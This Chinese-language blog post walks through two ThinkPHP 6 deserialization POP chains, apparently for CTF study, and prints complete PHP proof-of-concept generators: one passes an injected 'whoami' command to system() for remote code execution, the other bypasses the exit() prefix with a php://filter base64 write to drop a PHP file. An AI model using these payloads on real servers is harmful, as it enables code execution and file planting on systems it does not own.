继上一篇,接着复现一下其他链
环境搭建
跟上一篇一样
POP链1
全局搜索__destruct
/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php:
当$this->autosave = false
,触发$this->save()
方法
寻找AbstractCache继承类
AbstractCache为抽象类,不妨先全局搜索它的继承类
使用find usages查看哪些类继承了AbstractCache
在/vendor/topthink/framework/src/think/filesystem/CacheStore.php中找到了CacheStore类
并且实现了save
方法
继续跟进,发现调用了getForStorage
跟进getForStorage方法
调用了$this->cleanContents
方法,继续跟进
这个函数有点眼熟,貌似EIS easypop那题就用了这段代码,array_flip
数组反转,array_intersect_key
计算数组交集
回到getForStorage的json_encode
,返回json格式数据后,再回到save
方法最后的:
1
| $this->store->set($this->key, $contents, $this->expire);
|
因为$this->store
是可控的,我们可以调用任意类的set
方法,如果这个指定的类不存在set
方法,就有可能触发__call
。当然也有可能本身的set
方法就可以利用
这里有个File类可以利用
跟进set方法
跟进$this->serialize
方法
发现$this->options['serialize'][0]
参数可控,可以执行任意函数,参数为$data
回到set
方法中,$data
来源于$value
,再回到CacheStore类,发现$value
来源于$contents
,即前面通过json_encode
处理后的json格式数据
那么有什么可以利用的函数能处理json格式数据呢,发现system
可以利用
由于shell中的`优先级高,所以会先执行``中的内容,再把执行结果拼接成一个新命令
但是实际上system
函数是报错的,所以实际环境不一定会显示出执行后的报错信息
流程图
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php
namespace League\Flysystem\Cached\Storage{ abstract class AbstractCache { protected $autosave = false; protected $complete = "\"&whoami&"; } }
namespace think\filesystem{ use League\Flysystem\Cached\Storage\AbstractCache; class CacheStore extends AbstractCache { protected $key = "1"; protected $store;
public function __construct($store="") { $this->store = $store; } } }
namespace think\cache{ abstract class Driver { protected $options = ["serialize"=>["system"],"expire"=>1,"prefix"=>"1","hash_type"=>"sha256","cache_subdir"=>"1","path"=>"1"]; } }
namespace think\cache\driver{ use think\cache\Driver; class File extends Driver{} }
namespace{ $file = new think\cache\driver\File(); $cache = new think\filesystem\CacheStore($file); echo urlencode(serialize($cache)); }
?>
|
这里测试本机环境是windows,所以反引号不具有优先执行命令的作用,因此我用了&
符号,它的作用是&
后面的命令无论如何都会执行
最后的效果:
例如安洵杯的题目环境下,没有回显报错信息,只能反弹shell:
POP链2
跟第一条链触发大致一样,到set
方法中,如果我们不利用serialize
来rce,后面还可以利用file_put_contents
写入文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| public function set($name, $value, $expire = null): bool {
$this->writeTimes++;
if (is_null($expire)) { $expire = $this->options['expire']; }
$expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { } } $data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) { $data = gzcompress($data, 3); }
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data);
if ($result) { clearstatcache(); return true; }
return false; }
|
看着很眼熟,其实之前EIS ctf的ezpop就是从tp6改出来的,终于明白当时为什么那么多人秒了orz
1
| $result = file_put_contents($filename, $data);
|
分别追踪$filename
和$data
参数,$data
参数的话,我们前面分析已知,可以通过$this->serialize
方法,用指定的函数名来处理json格式数据,然后拼接到:
1
| <?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n
|
要绕过死亡exit
,同样用php://filter
伪协议来绕过
$filename
参数则来源于$this->getCacheKey($name);
可控点有两处,一处是通过$this->options['hash_type']
来指定hash
函数的加密形式作为文件名$name
另一处是直接将$this->options['path']
直接拼接到文件名前面
那么我们就指定:
1 2
| $this->options['path'] = "php://filter/write=convert.base64-decode/resource=/var/www/html/public/tmp/"; $this->options['hash_type'] = "md5";
|
最后拼接成的$filename
就为:
1
| php://filter/write=convert.base64-decode/resource=/var/www/html/public/static/md5.php
|
剩下的,就是根据4个字符一组的规则来base64了
这里我传入的$this->options['expire'] = 1
根据:
1 2 3 4 5
| <?php $expire = 1; $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"; $a = preg_replace('|[^a-z0-9A-Z+/]|s', '', $data); var_dump($a);
|
得出前面的字符长度:string(21) "php//000000000001exit"
,然后随便凑3个字符填充前面的,后面想要的文件内容base64编码即可
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php
namespace League\Flysystem\Cached\Storage{ abstract class AbstractCache { protected $autosave = false; protected $complete = "aaaPD9waHAgcGhwaW5mbygpOw=="; } }
namespace think\filesystem{ use League\Flysystem\Cached\Storage\AbstractCache; class CacheStore extends AbstractCache { protected $key = "1"; protected $store;
public function __construct($store="") { $this->store = $store; } } }
namespace think\cache{ abstract class Driver { protected $options = ["serialize"=>["trim"],"expire"=>1,"prefix"=>0,"hash_type"=>"md5","cache_subdir"=>0,"path"=>"php://filter/write=convert.base64-decode/resource=","data_compress"=>0]; } }
namespace think\cache\driver{ use think\cache\Driver; class File extends Driver{} }
namespace{ $file = new think\cache\driver\File(); $cache = new think\filesystem\CacheStore($file); echo urlencode(serialize($cache)); }
?>
|
实现效果:
实际应用中,注意指定路径可不可写的问题就行了
参考
https://www.anquanke.com/post/id/194036